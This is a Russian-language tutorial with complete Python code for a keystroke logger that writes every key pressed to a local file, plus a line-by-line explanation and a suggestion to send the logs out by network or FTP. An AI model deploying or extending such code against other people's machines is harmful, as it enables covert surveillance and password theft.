- Введение
- ⚠️ ЮРИДИЧЕСКАЯ ОГОВОРКА
- Внедрение кейлоггера
- Пояснение кода
- Строки 1-2: Импортирование необходимых библиотек
- Строки 5-9: Базовая конфигурация журнала
- Строки 12-13: Определение функции On_Press
- Строки 16-18: Определение функции On_Release:
- Строки 21-22: Получение нажатий клавиш
- Запуск Python Keylogger
- Изучение файла Keystroke_log.txt.
- Заключение
- 🔗 Ссылка на ресурс
Введение
В этом уроке вы узнаете, как написать кейлоггер на языке Python. Кейлоггер — это тип инструмента наблюдения, используемый для мониторинга и записи каждого нажатия клавиши, набранной на клавиатуре определенного компьютера.
⚠️ ЮРИДИЧЕСКАЯ ОГОВОРКА
Если говорить о законности кейлоггеров и других хакерских инструментов, то они являются легальными. Однако, установив их на компьютер, даже на свой личный, вы можете попасть в неприятности с законом. Если вы позволите кому-либо другому использовать ваш компьютер, не отключив кейлоггер, или не сообщите ему, что он активен, вы, скорее всего, нарушите федеральный закон. Цель данного руководства — информирование о безопасности и образовательные цели.
Внедрение кейлоггера
Вот полный сценарий Keylogger.py.
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename="keystroke_log.txt",
level=logging.DEBUG,
style="{",
datefmt='%Y-%d-%M %H:%M:%S',
format='[{asctime}]: {message}')
def on_press(key) -> None:
logging.info(str(key))
def on_release(key) -> bool:
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Пояснение кода
Строки 1-2: Импортирование необходимых библиотек
from pynput.keyboard import Key, Listener
import logging
Строки 5-9: Базовая конфигурация журнала
logging.basicConfig(filename="keystroke_log.txt",
level=logging.DEBUG,
style="{",
datefmt='%Y-%d-%M %H:%M:%S',
format='[{asctime}]: {message}')
Здесь мы создаем базовую конфигурацию для системы ведения журнала. Мы укажем имя файла, в который будут записываться нажатия клавиш keystroke_log.txt
, а затем укажем формат, в котором будут храниться нажатия клавиш:
Строки 12-13: Определение функции On_Press
def on_press(key) -> None:
logging.info(str(key))
Функция принимает в качестве аргумента key
, которая является клавишей, нажатой пользователем, и записывает ее в файл после преобразования в строку.
Строки 16-18: Определение функции On_Release
:
def on_release(key) -> bool:
if key == Key.esc:
return False
Функция принимает в качестве аргумента key
, которая опять же является клавишей, нажатой пользователем, и завершает работу программы Keylogger, если в качестве аргумента передается Esc key
.
Строки 21-22: Получение нажатий клавиш
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Мы создаем экземпляр слушателя, который будет записывать нажатия клавиш, и передаем созданную нами функцию в качестве аргумента. Затем мы используем метод .join()
, чтобы присоединить ее к основному потоку. Таким образом, при каждом нажатии клавиши активируется слушатель и вызывает нашу функцию, которая записывает нажатия клавиш в файл.
Запуск Python Keylogger
Запустите программу:
$ python keylogger.py
После запуска программы вы не заметите никакой активности. Программа работает в фоновом режиме. Просто начните набирать текст; когда вы будете готовы к завершению программы, просто нажмите клавишу Esc
. После этого вы заметите, что был создан новый файл keystroke_log.txt
. Это файл, который содержит все записанные нажатия клавиш.
Изучение файла Keystroke_log.txt
.
Ниже приведен скриншот моего файла keystroke_log.txt
, в котором показаны записанные нажатия клавиш:
Заключение
Теперь вы знаете, как создать базовый кейлоггер. Эта программа может быть расширена для отправки файлов log
по сети или даже загружена на FTP-сервер, откуда вы можете скачать ее позже для использования. Помните, что данное руководство и скрипт кейлоггера предназначены исключительно для образовательных целей и не должны использоваться в злонамеренных целях. Пожалуйста, оставьте like
или comment
, если вы нашли эту статью интересной!
🔗 Ссылка на ресурс
- Исходный код на GitHub